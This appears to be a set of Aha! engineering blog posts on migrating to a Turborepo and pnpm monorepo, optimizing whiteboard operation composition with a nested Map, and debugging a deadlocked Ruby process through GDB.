It must be simple: We didn't want to add more complexity to an already complex codebase.
It must improve developer experience: We didn't want to move the burden somewhere else — we were looking for a real solution.
It must be compatible: We didn't want to make major changes to our tooling or CI.

Maintaining Git history

Code is a living creature, and keeping its history was one of the main problems we had to solve if we wanted to move forward with a monorepo. We knew we wanted to migrate our packages into a folder at the root of our Rails app named "packages." There are some options one can take to maintain Git history when moving code across repositories, but we went with a simple one: a combination of git mv and git merge --allow-unrelated-histories. The steps we followed to move repositories into our Rails app were pretty simple:

# At the root of the package repository

# Move all the code into packages/package-name so we can merge it into our rails app.
git mv -k * packages/[package-name]
git mv -k .* packages/[package-name]

# Commit and push changes
git add --all
git commit -m "package-name: prepare codebase for monorepo"
git push origin master

# At the root of our rails app

# Add the package remote to our rails app
git remote add [package-name] [package-name].git
git fetch [package-name]

# Merge the package repository into our rails app
git merge [package-name]/master --allow-unrelated-histories

# Remove package remote
git remote remove [package-name]

# Commit and push changes
git add --all
git commit -m "Add package-name to the monorepo"
git push origin master

With these simple commands, we were able to move packages code into our Rails app while maintaining Git history.

Keeping it simple

After figuring out Git history, we jumped into the next task — and the most important, If I'm honest — which is figuring out how to build a monorepo that doesn't add too much complexity to our codebase. If you search for information about JavaScript monorepos, you'll find something like this:

There are many great tools for managing a monorepo, but I'm only focusing on the ones that are purposely built with JavaScript and TypeScript in mind.

In short, you will see tools such as Lerna, Nx, Turborepo, and Rush.js. When you start reading their documentation, you realize that there are so many possible combinations because you can use them with npm, Yarn, or pnpm. This makes certain combinations more suitable than others depending on your project's configuration and needs.

We wanted to choose a tool that would allow us to grow for several years without worrying about major changes between releases. Additionally, we needed an easy-to-use interface. But it's hard to tell what tool is right for you if you don't try them all, right? We initially removed Lerna and Rush.js from the list of tools we wanted to try. The company that is behind Nx took over the stewardship of Lerna, so between Nx and Lerna, we just wanted to try Nx. Rush.js is a great tool with a lot of features, but it's designed to shine in monorepos with hundreds of packages — and that wasn't going to be the case for ours. We decided to do a POC assessing Nx and Turborepo because they share similar features that were compelling given what we wanted from our monorepo. These included:

Local computation caching
Local task orchestration
Distributed computation caching
Detection of affected projects/packages
Workspace analysis
Dependency graph visualization

We didn't want to use one of these tools if it wasn't necessary, and because of that, we also included pnpm workspaces in the POC. They don't have many of these features, but it was unclear to us at the time if our monorepo needed all that functionality. After conducting the POC, we had a better understanding of the pros and cons of each tool.

Nx + pnpm

The first tool we tried was Nx. Although it's a very powerful and extensible tool, it added unnecessary complexity to our codebase. We didn't want to add another layer that our engineers had to learn in order to do their work. The way you define tasks in Nx and the concept of targets are simple to understand, but unique to the tool itself. This makes it difficult when it comes time to move into something else after you make your choice. Even though it's extensible, having a plugin ecosystem means that you could use someone else's code or build a plugin yourself if you would like to customize the monorepo even further. The features and functionality were there, but it wasn't a plug-and-play situation. The learning curve was also a bit demanding due to all the Nx-specific configurations, making it harder for us to justify the time and resource investment.

pnpm workspaces

With a very high bar set by Nx, we tried pnpm workspaces. They work great, are easy to use, and you don't need to add anything to make them work. If you are looking for something that can be set up in a couple minutes, this would probably be one of your top choices. For our monorepo, however, it lacked basic features such as local computation caching and local task orchestration. This made it hard to justify its use because it wouldn't help us manage our monorepo locally or in CI. We didn't want to build custom tooling to manage our monorepo. And even though this was the most frictionless approach we could've taken, it wasn't the best option for a team of 40+ engineers.

Turborepo + pnpm

Lastly, we tried Turborepo. At this point we knew Nx had the features we wanted, but it was very opinionated and had a steep learning curve. We also knew that plain pnpm workspaces lacked the basic features that would save us time throughout our day-to-day tasks, but they were simple and easy to understand with only a few new concepts to learn. It was great to find out that Turborepo had all the features we liked from Nx — including local computation caching, local task orchestration, and the ability to detect affected projects/packages — while being only a bit more complex than plain pnpm workspaces. Having this simple additional layer that already had everything we wanted without a steep learning curve was a win-win situation.

No new things to learn

The POC was a great opportunity to try many things in a short period of time before committing to a tool. In the end, we chose Turborepo because it works well with our current build systems and it's extremely easy to use. From the developer experience point of view, it's pretty similar to what we were already doing. Before adopting the monorepo, if you wanted to start our front-end development server, you would run yarn start. Now with our monorepo, you run pnpm start and that's it. If you are an engineer who is not actively making changes to the monorepo packages or configuration, you don't need to know anything else to use it. And if you want to use some of the more advanced Turborepo features, you can check their docs and append the flags to the command.

Again, it was paramount to our team to choose a tool that was as frictionless as possible. We love Rails. When adding new things, we usually try to follow the convention over configuration principle — and this wasn't any different with our monorepo.

Turborepo is configured with a single JSON file named turbo.json where you define all your pipelines in a simple way, like this:

{
  "$schema": "https://turbo.build/schema.json",
  "pipeline": {
    "build": {
      "cache": true,
      "outputs": ["dist/**"],
      // "A workspace's `build` command depends on its dependencies'
      // or devDependencies' `build` command being completed first"
      "dependsOn": ["^build"]
    },
    "start": {
      // "A workspace's `start` command is a long-running process
      "persistent": true
      "dependsOn": ["^build"]
    },
    "test": {
      // "A workspace's `test` command depends on its own `lint` and
      // `build` commands first being completed"
      "dependsOn": ["lint", "build"]
    },
    "deploy": {
      // "A workspace's `deploy` command, depends on its own `build`
      // and `test` commands first being completed"
      "dependsOn": ["build", "test"]
    },
    // A workspace's `lint` command has no dependencies
    "lint": {}
  }
}

The name of each pipeline is the name of the pnpm script that will run on each package (respecting the order defined by the dependency graph). There are many options for configuring this file, but dependsOn, outputs, cache, and persistent are among the most relevant.

dependsOn: The list of tasks this task depends on
outputs: The set of glob patterns on a task's cacheable file system outputs
cache: Whether or not to cache the task outputs
persistent: A task can be labeled as persistent if it is a long-running process, such as a dev server or --watch mode

We only have to worry about configuring the file. The dependency graph is autogenerated, so we don't need to tell Turborepo what depends on what and so on. A simple dependency graph could look like this:

If we take the turbo.json file from above and this dependency graph as an example, Turborepo will do the following every time we run the start pipeline:

Build the web components library
Build the text editor package
Build the whiteboard package
Build the dropdown package
Start the watch server for all these packages
Start the watch server for the main app

Turborepo makes it pretty easy to understand what's going on, and there are no new concepts to learn nor complex ideas to think about. Not everyone on the team needs to understand how this works under the hood in order to use it. But if anyone would like to make changes to the monorepo, it wouldn't be a complex task — because it's simple to work around Turborepo and its concepts.

It just works!

I joined Aha! in January 2022, and we shipped our monorepo at the beginning of Q3 in 2023. Ever since, it has been working without issues both in production and in the local environments for everyone on the team. We had to make some changes to our CI and build systems, but those were minimal. And in most cases, it ended up simplifying the code we were running in the past. We don't use all the features that Turborepo offers, but we use what we need — which is great. Being able to use the tool in the way you want (and not having to do so in the way the tool mandates) is something that makes us really happy about our choice.

Since we adopted the monorepo, we have pushed close to 2,500 commits that include changes to our packages in almost 450 pull requests. At the beginning of this blog, I was talking about how our old process to ship changes from our private packages was slow even for very small things. If we are conservative, we could say that every pull request took us an average of 30 more minutes before the monorepo. So we have saved close to 55 hours worth of development time — or more accurately, of waiting in front of the screen — each month.

In the end, it is not only about the time we save, but more about the frustration we remove from our day-to-day work. Having one less thing to worry about frees up more space in our heads to think about what really matters: shipping awesome features for our customers.

Improving the editing experience in Aha! whiteboards

Greg Brown — Thu, 11 Jan 2024 00:00:00 GMT

Our team at Aha! loves using Aha! software. It's not only a great way to build our own lovable product, but it also helps us to find rough edges before customers do and develop empathy for our users.

So when one of our principal engineers, Maeve Revels, wanted to share some insights on our internal data architecture, an Aha! whiteboard was the obvious choice — whiteboards make it straightforward to build out a rich visual presentation and navigate through the frames in sequence. The end result was a whiteboard with thousands of shapes illustrating complex data relationships, including how we use tools like Kafka and Redis, plus the scale at which we operate them.

Maeve's presentation was great, and we all learned a lot! But as an engineer on the team responsible for our whiteboard functionality, I wondered what the editing experience was like and whether it could be improved.

When I looked at the whiteboard later, sure enough, I noticed some laggy rendering — particularly when dragging or bulk-updating a large number of shapes. I was motivated to try to fix it. And on the Aha! team, this is encouraged — we empower every engineer to take ownership of our product, fixing or improving it as we go. So I started digging into the code.

The initial investigation

First, I created a representative whiteboard for testing with hundreds of shapes, then opened Google Chrome's performance tools to run a profile on our javascript code while dragging. Browser performance tools are a powerful way to diagnose this sort of issue and well worth learning to use. I captured some screenshots and notes on performance for later comparison.

Chrome's flame graph showed me an obvious culprit — a compose function that was called thousands of times as I dragged the shapes. Reading the code, I realized it contained a nested for loop — the classic marker of O(n²) computational complexity. Essentially, the algorithm takes an array of whiteboard operations (each representing a change) and removes redundant operations. For example, if an object's position moves several times in quick succession, we only need to keep the last operation. Another example is when an object is created and then updated. We can combine the updates into the original creation. The compose function did this by iterating through the array, and for each item, iterating again to check for related operations.

Addressing the problem

The first problem was the algorithm's inner loop — an O(n) operation by itself. If I could make this O(1), we could potentially get a big gain right away. The problem was that we had to essentially scan the array for matches, so we needed some sort of index.

If you've ever optimized a database query, this'll sound familiar. The neat thing is that it really is the same problem in a different context. Just as database access patterns determine the ideal table and index structure, we can use the same mental model to transform our data structure on the frontend for efficient access. In this case, I used a nested Map which I could represent like this in Typescript:

type OperationMap = Map<
  string, // id of updated object
  Map<
    string, // property name to update
    Operation // update details
  >
>

const refs: OperationMap = new Map();

// once populated, we can look up all operations for an object like this
const allOperations = refs.get(objectId)

// or a specific object property update
const colorOperation = refs.get(objectId)?.get('color')

Initially, I wrote a two-pass solution with a full iteration to fill out the Map and a second to do the work, referring to the Map as needed. I quickly realized though that I could eliminate the extra iteration and create the Map on the fly. This worked because the algorithm really only needed to look at later operations. And by iterating in reverse, I could ensure these were already processed.

const refs: OperationMap = new Map();

for (let i = operations.length - 1; i >= 0; i--) {
  const op = operations[i];

  if (op.type === 'update') {
    // check for later matching ops (stored already because we're iterating in reverse)
    let updatesForObject = refs.get(op.id);
    const updateForProperty = updatesForObject?.get(op.property);

    if (updateForProperty) {
      // if it's updating the same property, update stored op for undo, and delete
      updateForProperty.previousValue = op.value;
      deleteOp(op);
    } else {
      // otherwise store op - this is the latest update for that object/property that we
      // want to keep
      if (!updatesForObject) {
        updatesForObject = new Map();
        refs.set(op.id, updatesForObject);
      }
      updatesForObject.set(op.property, op);
    }
  } else if (op.type === 'create') {
    // find any later matching update ops
    const laterUpdates = refs.get(op.id);

    laterUpdates?.forEach((update) => {
      // copy assignment to create op, and delete update
      op.properties[update.property] = update.value;
      deleteOp(update);
    });
  }
}

To ensure correctness, I was able to lean heavily on new and existing unit tests, which were straightforward to write as the code under test was written as a pure function. This made it really easy to test and verify various scenarios without mocking or complex test setup.

Did this fix the problem? Yes and no! When I opened my whiteboard and repeated my test, performance had definitely improved, but not as much as I had hoped — so I dug into the code again. This time I was focused on how we were calling the function as it seemed too frequent in the performance profile. I suspected many of the calls could be combined into one to get much better mileage out of the improved algorithm.

Iterative improvement

Looking at the context, I identified two areas in our collaboration and undo code where we called the compose function for every new operation. If we could instead defer these calls and only compose once for say, every 100 operations, we should see a big gain. But due to the complexity and critical nature of this area, I wanted to minimize the breadth of the change.

To achieve this, I employed two strategies:

Buffering: The simplest option was to collect operations in a buffer, and only combine them once it reached a threshold. This worked well in our collaboration code where operations were already collected in-memory and periodically sent to the server via a websocket message.
Just-in-time composition Operations collected for undo can be read at any time, so waiting to reach a threshold wouldn't work. Instead, we collect them in a buffer and compose them only when they are read. This kept the undo code's external interface unchanged, which was crucial to minimizing the wider impact.

With these two techniques in place, performance improved dramatically — getting the full benefits of the new, optimized O(n) algorithm. Now, it's possible to smoothly drag hundreds of shapes around the canvas without noticeable lag.

Unexpected consequences

With our whiteboard code now much more performant, I ran into an unexpected problem — dragging a large group of shapes caused the websocket connection to drop. It turned out that we had a 1mb limit on the size of websocket messages, which we'd never reached. But the increased client-side performance made the browser suddenly capable of producing operations much faster than before. While we could have safely increased the server's limit, we chose to implement a corresponding client-side limit to keep websocket message size in check.

Takeaways

When optimizing performance, there's almost never a silver bullet. Even in this case where we quickly identified an inefficient algorithm, addressing it did not solve the issue completely — the biggest gains came from the comparatively mundane change to defer a function call. In these types of situations, the key is to stay curious, focus on the measurable impact of your work, and always take an iterative approach to improving your code.

You might also be wondering why we didn't write more performant code in the first place. And that's a fair question! When the code was initially written, performance wasn't an issue — that only became a problem much later when people started creating more complex whiteboards. Time spent upfront on optimization could have been wasted if our product evolved in a different way, so deferring this work helped us to build a Minimum Lovable Product sooner. That said, it's worthwhile to keep concepts like computational complexity in mind, so long as it doesn't lead to increased code complexity and development time.

Finally, it's worth noting that having well-written unit tests was critical to refactoring the original algorithm with confidence. Having the algorithm contained in a pure function with a simple interface made testing a breeze, because the tests only had to consider the inputs and outputs, with no changes needed when we refactored the implementation.

Debugging Ruby the hard way

Thu, 14 Dec 2023 00:00:00 GMT

Normally when you encounter a bug with Ruby, or any other interpreted language for that matter, using the language's provided debugging tools is all you need to diagnose the problem and find a solution. Indeed that works 99% of the time. But what about when it doesn't? What about when your program is so hosed that the typical debugging tooling doesn't yield any fruitful information?

This was the situation I found myself in recently while debugging a low-level bug with Ruby. I didn't know it when I started, but the problem lie down in glibc and all the Ruby-land debugging tools in the world would not help me. So what's one to do? Well, if you're running the C implementation of Ruby, MRI, then it's GDB to the rescue. However, figuring out how to access the data needed through GDB presents a host of new challenges. Armed with the proper knowledge though, it becomes entirely feasible to debug a Ruby program through GDB which is what this post aims to explore.

But why would you want to do this?

That's a good question. In all honesty and as far as I know, there are very few true use cases for doing this outside of development on Ruby itself, academic curiosity, and the poor souls facing a low-level bug that's seemingly impossible to debug otherwise.

In my situation I was working with a Ruby process that would deadlock while exiting in a glibc function in rare cases. I did not have the ability to debug the Ruby process directly as it was completely unresponsive due to control being outside of Ruby when it deadlocked. The only option I had was to attach GDB to the running process in order to get visibility into the process. As I'll get into later, this provided enough information to put the pieces of the puzzle together and solve my issue at hand. Hopefully this is not what brought you here, but if so, knowing how to debug Ruby via GDB can be a powerful tool in your toolbelt for cracking difficult low-level bugs.

GDB Basics

As someone that primarily works with Ruby and other high level languages, prior to my aforementioned boggle it had been more than a handful of years since I needed to debug anything with GDB. You may be in a similar boat so let's start with covering enough of the basics to follow along with the rest of this post. If you're adept with GDB already you can likely skip to the next section.

GDB is, of course, a debugger, and an extremely powerful one at that. We need only know the absolute basics here though. Let's say we have the following C program:

#include <stdio.h>

const char* GREETING = "Hello, world!";
void print_greeting(const char* greeting);

int main(void) {
  print_greeting(GREETING);
}

void print_greeting(const char* greeting) {
  puts(greeting);
}

When compiling, ensure that -ggdb is specified to create debugging symbols. It's still possible to debug a binary without these, but it is more difficult and requires referencing the source code more. Make your life easy and add them.

$ gcc -ggdb hello_gdb.c

We can then debug the print_greeting function with GDB by setting a breakpoint and executing the program as follows:

$ gdb a.out
Reading symbols from a.out...

(gdb) break print_greeting
Breakpoint 1 at 0x115f: file hello_gdb.c, line 11.

(gdb) run
Starting program: a.out

Breakpoint 1, print_greeting (greeting=0x555555556004 "Hello, world!") at hello_gdb.c:11
11        puts(greeting);

Printing a backtrace is accomplished with where:

(gdb) where
#0  print_greeting (greeting=0x555555556004 "Hello, world!") at hello_gdb.c:11
#1  0x000055555555514c in main () at hello_gdb.c:7

The other notable action is assigning variables and executing functions. For example, let's say we wanted to print out the value of a global variable or call another function through GDB:

$ gdb a.out
Reading symbols from a.out...

(gdb) break main
Breakpoint 1 at 0x113d: file hello_gdb.c, line 7.

(gdb) run
Starting program: a.out

Breakpoint 1, main () at hello_gdb.c:7
7         print_greeting(GREETING);

(gdb) call GREETING
$1 = 0x2004 "Hello, world!"

# `p` also works for printing values
(gdb) p GREETING
$2 = 0x2004 "Hello, world!"

# Manually call the `print_greeting` function
(gdb) call print_greeting(GREETING)
Hello, world!

# Call `print_greeting` with a different argument
(gdb) call print_greeting("Hello, GDB!")
Hello, GDB!

The output above demonstrates how call can be used to print the value of variables (or more accurately, memory locations such as the global variable GREETING). It can also, ahem, call functions directly and we can pass whatever arguments we want to them such as a new string rather than the GREETING string as defined in the source code of the program. Later on we'll use this functionality extensively to peer inside of a running Ruby process.

That should about do it for a GDB crash course. Let's get into the meat of exploring Ruby through GDB now.

Getting a Ruby Backtrace

First things first, how can we use GDB on a Ruby process to see what our program is doing? In other words, how do we get a Ruby backtrace out of GDB?

To start, say we have the following simple Ruby program that sleeps for a while:

#!/usr/bin/env ruby

def foo
  puts 'Sleeping...'
  sleep 1000
end

foo

Using GDB it's trivial to get a native backtrace as such:

$ gdb --args ruby sleep.rb
(gdb) run
Starting program: ruby sleep.rb

(gdb) where
#0  0x00007ffff763446c in ppoll () from /usr/lib/libc.so.6
#1  0x00007ffff7af471a in rb_sigwait_sleep (th=th@entry=0x55555555d040, sigwait_fd=sigwait_fd@entry=3, rel=rel@entry=0x7fffffffb9a0)
#2  0x00007ffff7af58b8 in native_sleep (th=<optimized out>, rel=0x7fffffffb9a0)
#3  0x00007ffff7af8c39 in sleep_hrtime (fl=2, rel=<optimized out>, th=0x55555555d040) at thread.c:1325
#4  rb_thread_wait_for (time=...) at thread.c:1408
#5  0x00007ffff7a4995b in rb_f_sleep (argc=1, argv=0x7ffff7430088, _=<optimized out>) at process.c:5219
#6  0x00007ffff7b31ae7 in vm_call_cfunc_with_frame (ec=0x55555555e1c0, reg_cfp=0x7ffff752ff10, calling=<optimized out>)
#7  0x00007ffff7b419c1 in vm_sendish (method_explorer=<optimized out>, block_handler=<optimized out>, cd=<optimized out>, reg_cfp=<optimized out>, ec=<optimized out>)
#8  vm_exec_core (ec=0x7fffffffb8e8, ec@entry=0x55555555e1c0, initial=1, initial@entry=0)
#9  0x00007ffff7b474e3 in rb_vm_exec (ec=0x55555555e1c0, jit_enable_p=jit_enable_p@entry=true) at vm.c:2374
#10 0x00007ffff7b488c8 in rb_iseq_eval_main (iseq=<optimized out>) at vm.c:2633
#11 0x00007ffff7957e75 in rb_ec_exec_node (ec=ec@entry=0x55555555e1c0, n=n@entry=0x7ffff7fbda48) at eval.c:289
#12 0x00007ffff795e4db in ruby_run_node (n=0x7ffff7fbda48) at eval.c:330
#13 0x0000555555555102 in rb_main (argv=0x7fffffffbf18, argc=2) at ./main.c:38
#14 main (argc=<optimized out>, argv=<optimized out>) at ./main.c:57

But that's not especially helpful in telling us where our Ruby program is hanging. How do we use GDB to get a Ruby backtrace? Ruby actually makes this quite simple, just call rb_backtrace.

(gdb) call rb_backtrace()
        from sleep.rb:8:in `<main>'
        from sleep.rb:5:in `foo'
        from sleep.rb:5:in `sleep'

That was easy! This will print the current backtrace to stderr. Done, right? Well, yeah, possibly actually. If you're just looking to run a Ruby program and get a backtrace at some point during its execution then this should do you fine for the most part. But if that were the case you could also likely set a breakpoint with a Ruby debugger and get the same info with less hassle. What if you have an already-running process that's hung somewhere that you want to get a backtrace for? That's a more interesting situation.

In the above example, the rb_backtrace method will print to stderr of the Ruby process, not the GDB process. To demonstrate this, let's run our Ruby process in one shell and then attach GDB to it from another:

Shell 1:

$ ./sleep.rb
Sleeping...

Shell 2:

$ sudo gdb -p `pgrep -n ruby`
(gdb) call rb_backtrace()
(gdb)

Back in shell 1:

$ ./sleep.rb
Sleeping...
        from ./sleep.rb:8:in `<main>'
        from ./sleep.rb:5:in `foo'
        from ./sleep.rb:5:in `sleep'

What happened here? stderr is pointed at shell 1, so when we call rb_backtrace() from shell 2, the backtrace is printed out in shell 1. That's fine for a simple example like this, but if you have an already running Ruby process you need to debug then it's probably running as a service so stderr isn't pointed at your terminal. Maybe it and stdout are going to a log somewhere, but let's assume we don't have access to them at all. How do we get our backtrace?

To solve this we need to do some more work with GDB before calling for the backtrace. Using GDB we can re-open stderr for the Ruby process to a temporary file, get our backtrace, and then reset them.

Shell 1:

$ ./sleep.rb
Sleeping...

Shell 2:

$ sudo gdb -p `pgrep -n ruby`
(gdb) set $old_stderr = (int) dup(2)
(gdb) set $fd = (int) creat("/tmp/backtrace.txt", 0644)
(gdb) call (int) dup2($fd, 2)

(gdb) call rb_backtrace()

(gdb) call (int) dup2($old_stderr, 2)
(gdb) call (void) close($old_stderr)
(gdb) call (void) close($fd)

(gdb) quit

$ cat /tmp/backtrace.txt
        from ./sleep.rb:8:in `<main>'
        from ./sleep.rb:5:in `foo'
        from ./sleep.rb:5:in `sleep'

What we did above was set the stderr file descriptor for the Ruby process to a file located under /tmp, called rb_backtrace() to write the backtrace to that file, and then reset stderr to its original file descriptor. This way we can see what our Ruby process is currently doing even if we don't have access to its stderr stream and without needing to stop the already-running process.

What about other threads?

This is good and all for these simple examples, but most Ruby programs of any complexity will have multiple threads. And if you're resorting to debugging your program like this then it's most likely debugging a difficult to reproduce deadlock situation. rb_backtrace() will only print the backtrace of the current thread so how do we get the backtrace of all threads?

To explore this, let's use a new example Ruby program that starts two threads which deadlock:

#!/usr/bin/env ruby

mutex1 = Mutex.new
mutex2 = Mutex.new

thread1 = Thread.new do
  mutex1.lock
  sleep(1) until mutex2.locked?
  mutex2.lock
end

thread2 = Thread.new do
  mutex2.lock
  sleep(1) until mutex1.locked?
  mutex1.lock
end

# Start a third thread just so Ruby doesn't recognize the process as deadlocked and kill it before we can debug it
Thread.new {sleep(1000)}

thread1.join
thread2.join

From within GDB again, we can now print all of the running threads with info threads, switch to another thread, and print its backtrace as such:

$ ruby deadlock.rb

# In another shell:
$ sudo gdb -p `pgrep -n ruby`

(gdb) info threads
  Id   Target Id                                             Frame
* 1    Thread 0x7ff76b4637c0 (LWP 1993106) "ruby"            0x00007ff76ab5c4c6 in ppoll () from /usr/lib/libc.so.6
  2    Thread 0x7ff765f3f6c0 (LWP 1993116) "deadlocked.rb:6" 0x00007ff76aae24ae in ?? () from /usr/lib/libc.so.6
  3    Thread 0x7ff765d3e6c0 (LWP 1993117) "deadlocked.rb:*" 0x00007ff76aae24ae in ?? () from /usr/lib/libc.so.6
  4    Thread 0x7ff765b3d6c0 (LWP 1993118) "deadlocked.rb:*" 0x00007ff76aae24ae in ?? () from /usr/lib/libc.so.6

(gdb) thread 2
[Switching to thread 2 (Thread 0x7ff765f3f6c0 (LWP 1993116))]
#0  0x00007ff76aae24ae in ?? () from /usr/lib/libc.so.6

(gdb) call rb_backtrace()

# In the first shell:
        from ./deadlocked.rb:9:in `block in <main>'
        from ./deadlocked.rb:9:in `lock'

Now we can see how the second thread is waiting to acquire the lock for mutex2 at line 9, which, of course, it will never get but it does pinpoint where the program is becoming stuck.

This is a bit tedious to do for every thread though, especially if you have more than just two. It's fairly easy to automate this process to get a backtrace for every thread, however. Let's modify the stderr redirection from above and write it to a GDB script named backtrace.gdb this time.

set $old_stdout = (int) dup(1)
set $fd = (int) creat("/tmp/backtrace.txt", 0644)
call (int) dup2($fd, 1)

set $thread_list = rb_thread_list()
set $num_threads = rb_num2long(rb_ary_length(rb_thread_list()))
set $i = 0

while $i < $num_threads
  call rb_p(rb_thread_backtrace_m(0, 0, rb_ary_entry($thread_list, $i++)))
end

call (int) dup2($old_stdout, 1)
call (void) close($old_stdout)
call (void) close($fd)

The changes to this script below are two fold:

Redirect stdout rather than stderr since we'll be calling rb_p (Ruby's print function) which prints to stdout now.
Get every thread with rb_thread_list and for each thread call rb_thread_backtrace_m to print a backtrace for that thread in particular.

Running it:

$ sudo gdb -p `pgrep -n ruby` -x backtrace.gdb
(gdb) quit

$ cat /tmp/backtrace.txt
["./deadlocked.rb:21:in `join'", "./deadlocked.rb:21:in `<main>'"]
["./deadlocked.rb:9:in `lock'", "./deadlocked.rb:9:in `block in <main>'"]
["./deadlocked.rb:15:in `lock'", "./deadlocked.rb:15:in `block in <main>'"]
["./deadlocked.rb:19:in `sleep'", "./deadlocked.rb:19:in `block in <main>'"]

Great! We can see above how each thread has a backtrace printed out in an array format and exactly where each of them are hung.

Into the VM

Everything above should be sufficient for all practical purposes. But if you've come this far you may be interested in exploring the Ruby VM a bit more while we're in here. For instance, those backtraces, how does Ruby track what it's currently executing in order to generate a backtrace and how can we peek into those data structures of a running process ourselves?

It's worth noting everything beyond this point is not necessarily practical per se; it's primarily academic but still quite interesting to those curious about Ruby internals. Everything below targets Ruby 3.2.2 as well (the current version of MRI at the time of this writing).

There are various blog posts from prior to circa 2017 that demonstrate how to get reach into Ruby's internal data structures by use of a global variable named ruby_current_thread. However, evidently this was removed in Ruby 2.5.0. Instead, from Ruby 2.5.0 to at least 3.2.2 (at the time of this writing), ruby_current_ec is the new variable to use for this purpose.

What is ec though? ec stands for execution_context and holds the data related to whatever Ruby is executing at a given point in time. This includes the call stack, control frame pointer, thread pointer, fiber pointer, and more. The rb_execution_context_struct definition has the full list of fields, but the short of it is that everything we're interested in is located in this data structure either directly or through a pointer to another data structure.

Let's take a look at what this looks like for the sleep.rb script from above (protip: use set print pretty on in GDB for easier to read outputs here):

(gdb) call ruby_current_ec
$1 = (struct rb_execution_context_struct *) 0x5571d51461c0

# `ruby_current_ec` is a pointer so in order to print the data it points to we need to tell GDB to dereference the pointer with the dereference operator
(gdb) call *ruby_current_ec
$2 = {
  vm_stack = 0x7f2316230010,
  vm_stack_size = 131072,
  cfp = 0x7f231632fed0,
  tag = 0x7ffd5b32c250,
  interrupt_flag = 0,
  interrupt_mask = 0,
  fiber_ptr = 0x5571d5146170,
  thread_ptr = 0x5571d5145040,
  local_storage = 0x0,
  local_storage_recursive_hash = 139788682901840,
  local_storage_recursive_hash_for_trace = 4,
  storage = 4,
  root_lep = 0x0,
  root_svar = 0,
  ensure_list = 0x0,
  trace_arg = 0x0,
  errinfo = 4,
  passed_block_handler = 0,
  raised_flag = 0 '\000',
  method_missing_reason = MISSING_NOENTRY,
  private_const_reference = 0,
  machine = {
    stack_start = 0x7ffd5b32d000,
    stack_end = 0x7ffd5b32bf50,
    stack_maxsize = 8372224,
    regs = {
      {
        __jmpbuf = {93947394543840, -6100235198789993538, 0, 93947394543680, 93947394547664, 139788684347000, -122019239599424578, -3910558443652162},
        __mask_was_saved = 0,
        __saved_mask = {
          __val = {0 <repeats 16 times>}
        }
      }
    }
  }
}

It's best to compare the struct definition against what GDB prints out to get a better idea of what these fields are exactly. But even still, the above doesn't tell us a whole lot about what our program is doing. In order to determine that we'll need to explore some of the pointers to other data structures.

In particular, the control frame pointer, cfp, gives us access to what Ruby is executing in this thread. A control frame in Ruby is the data structure that the VM uses to track both your program's stack and its own internal stack in YARV. YARV itself is an entirely different topic that's outside the scope of this post, but in short it's the internal bytecode interpreter for Ruby. It has its own internal stack for managing the execution of bytecode instructions. A control frame holds pointers to both of these stacks.

Inside of an execution context the control frame pointer points to the current control frame which is represented as a call stack we're all familiar with as such:

So, if we have a pointer to the current control frame we can get access to our program's stack which in turn tells us what is being executed. With that in mind, let's take a look at the CFP for our deadlocked process:

(gdb) call *(ruby_current_ec->cfp)
$3 = {
  pc = 0x0,
  sp = 0x7f23162300a8,
  iseq = 0x0,
  self = 139788671962360,
  ep = 0x7f23162300a0,
  block_code = 0x0,
  __bp__ = 0x7f23162300a8,
  jit_return = 0x0
}

Hmm, it doesn't look quite right that the pc and iseq values are NULL pointers. pc being program counter and iseq instruction sequence. The struct definition is handy to reference for understanding these again. What's going on here?

If we look into the ep (environment pointer) value we can see that its flags denote this control frame as a VM_FRAME_FLAG_CFRAME rather than a "Ruby frame." This would track with how our program is calling sleep meaning control passes from Ruby code into an internal C function that in turn makes a syscall. Ruby has a function named VM_FRAME_RUBYFRAME_P which checks the flags on the environment pointer value to determine what type of frame it is. Using the following in GDB we can verify that it is considered a CFRAME by means of being a non-zero value from the bitwise AND operation which is the same operation that VM_FRAME_RUBYFRAME_P ends up performing through another function, VM_FRAME_CFRAME_P:

(gdb) call ruby_current_ec->cfp->ep[0] & VM_FRAME_FLAG_CFRAME
$4 = 128

That's fine then, but how do we get a Ruby frame in that case? Because the stack is a contiguous block of memory, it's easy enough to move up one control frame to inspect the previous frame by simply adding one byte to the pointer value as such:

(gdb) call ruby_current_ec->cfp + 1
$5 = {
  pc = 0x5571d53fa308,
  sp = 0x7f2316230080,
  iseq = 0x7f2316dfc880,
  self = 139788671962360,
  ep = 0x7f2316230078,
  block_code = 0x0,
  __bp__ = 0x7f2316230080,
  jit_return = 0x0
}

We can also double check this frame's type is Ruby code by getting the frame type from its environment pointer's flags and comparing it to the frame type constants (values are printed in hex to more easily compare the constant values):

# Frame type of the current control frame
(gdb) p/x ruby_current_ec->cfp->ep[0] & VM_FRAME_MAGIC_MASK
$6 = 0x55550001

# Frame type of the previous control frame
(gdb) p/x (ruby_current_ec->cfp + 1)->ep[0] & VM_FRAME_MAGIC_MASK
$7 = 0x11110001

# The current control frame matches the constant for a C function
(gdb) call (ruby_current_ec->cfp->ep[0] & VM_FRAME_MAGIC_MASK) == VM_FRAME_MAGIC_CFUNC
$8 = 1

# The previous control frame does /not/ match the constant for a C function
(gdb) call ((ruby_current_ec->cfp + 1)->ep[0] & VM_FRAME_MAGIC_MASK) == VM_FRAME_MAGIC_CFUNC
$9 = 0

# The previous control frame /does/ match the constant for a normal Ruby method
(gdb) call (ruby_current_ec->cfp->ep[0] & VM_FRAME_MAGIC_MASK) == VM_FRAME_MAGIC_METHOD
$10 = 0

The exact constant values and bit mapping for the flags are available in the vm_frame_env_flags enum.

But anyway, that control frame looks better now. It has a valid program counter and instruction sequence pointer. Still though, how do we get that elusive line number to where our Ruby program stopped executing?

Tracking Down a Line Number

Inside the control frame, the instruction sequence value (iseq) is of particular interest since that holds the source location of the currently executing code. We can use this to track down what piece of Ruby code that control frame was executing. Indeed, if we print out the value of the iseq then we see an interesting struct named code_location:

(gdb) call *((ruby_current_ec->cfp + 1)->iseq->body)
$11 = {
  type = ISEQ_TYPE_METHOD,
  iseq_size = 6,
  iseq_encoded = 0x55a4e9d86c80,
  [...snipped...]
  location = {
    pathobj = 140272768374920,
    base_label = 140272768375800,
    label = 140272768375800,
    first_lineno = 3,
    node_id = 6,
    code_location = {
      beg_pos = {
        lineno = 3,
        column = 0
      },
      end_pos = {
        lineno = 5,
        column = 3
      }
    }
  },
  [...snipped...]

